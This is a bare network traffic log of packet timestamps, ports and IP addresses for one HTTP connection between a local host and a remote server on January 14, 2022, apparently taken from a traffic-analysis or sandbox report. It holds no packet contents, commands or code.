Jan 14, 2022 12:30:20.663167000 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663716078 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663738966 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663753033 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663768053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663783073 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665138006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665255070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665288925 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665359974 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665390015 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665404081 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665417910 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.665432930 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.666121006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.666977882 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.666994095 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.667131901 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.668236971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.668515921 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.669734955 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670130014 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670191050 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670206070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670222044 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670234919 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670249939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670264006 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670279026 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670293093 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670308113 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670321941 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670336008 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670348883 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.670363903 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.673959017 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.674998045 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.675034046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.675045013 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.764467001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.764743090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.764856100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.764976025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765085936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765193939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765296936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765399933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765501022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765600920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765710115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765813112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.765912056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766016960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766119957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766217947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766321898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766415119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766516924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766619921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766721010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766823053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.766927004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767038107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767122030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767225981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767323017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767421961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767529011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767625093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767725945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767833948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.767936945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768040895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768141031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768243074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768342972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768445969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768542051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768665075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768769979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768871069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.768971920 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769123077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769236088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769330978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769433975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769537926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769659042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769807100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.769927025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770107985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770215034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770320892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770418882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770523071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770621061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770721912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770821095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.770920992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771040916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771125078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771224022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771326065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771426916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771527052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771627903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771729946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771826982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.771928072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772027969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772156000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772232056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772332907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772429943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772531986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772630930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772732973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772831917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.772933960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773031950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773133993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773231983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773334980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773431063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773531914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773633003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773735046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773833990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.773933887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774079084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774138927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774240017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774337053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774437904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774538994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774652958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774753094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774857998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.774954081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.775064945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.775166035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.775262117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.775361061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.785383940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.785538912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.785655975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.785738945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.785830975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.785959959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786036015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786111116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786205053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786307096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786398888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786489964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786583900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786693096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786787033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786879063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.786971092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787064075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787152052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787251949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787338018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787467957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787529945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787622929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787723064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787817001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787914991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.787988901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.788081884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800218105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800333023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800431013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800538063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800653934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800756931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800858974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.800961018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801063061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801163912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801265001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801364899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801469088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801568031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801685095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801785946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801947117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.801992893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802093029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802203894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802293062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802401066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802495956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802594900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802699089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802802086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.802906036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803006887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803107023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803206921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803309917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803412914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803512096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803612947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803715944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803822041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.803921938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804018974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804121971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804222107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804322004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804425001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804523945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804624081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804727077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804826975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.804927111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805032969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805136919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805233955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805335045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805435896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805533886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805636883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805742025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805843115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.805946112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806046009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806148052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806251049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806360960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806457996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806557894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806663990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806765079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806873083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.806987047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807081938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807193041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807286024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807410955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807478905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807569027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807662964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807761908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807848930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.807945967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.820971012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.827636003 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.827727079 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.827743053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.827753067 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.829011917 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.830122948 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.830142021 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.835266113 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.835283041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.835289001 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.838960886 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.839075089 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.841825962 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.846849918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.847160101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.847368956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.847489119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.850500107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.850645065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.850717068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.850809097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.850925922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851017952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851135015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851222038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851314068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851407051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851501942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851600885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851691961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851783991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851876020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.851970911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852065086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852158070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852274895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852371931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852472067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852574110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852684975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852783918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852873087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.852973938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853072882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853173018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853276014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853373051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853472948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853576899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853677988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853779078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853890896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.853988886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854089022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854319096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854340076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854392052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854490042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854588032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854690075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854790926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854888916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.854995012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855096102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855191946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855293036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855391979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855494976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855596066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855695009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855792999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855894089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.855994940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.856096029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.856225967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.856304884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.856398106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.856491089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.856584072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.859775066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.859863997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.859954119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860060930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860155106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860245943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860337019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860425949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860516071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860620022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.860709906 CET	49914	80	192.168.2.4	185.215.113.35
